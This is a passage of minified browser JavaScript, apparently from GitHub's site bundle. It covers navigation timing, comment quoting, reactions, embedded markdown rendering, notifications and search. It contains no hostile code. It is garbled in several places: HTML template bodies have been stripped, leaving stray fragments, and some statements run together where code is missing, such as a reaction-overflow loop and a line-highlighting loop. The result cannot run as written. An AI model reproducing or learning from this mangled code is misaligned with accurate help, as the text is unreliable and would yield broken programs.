RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let 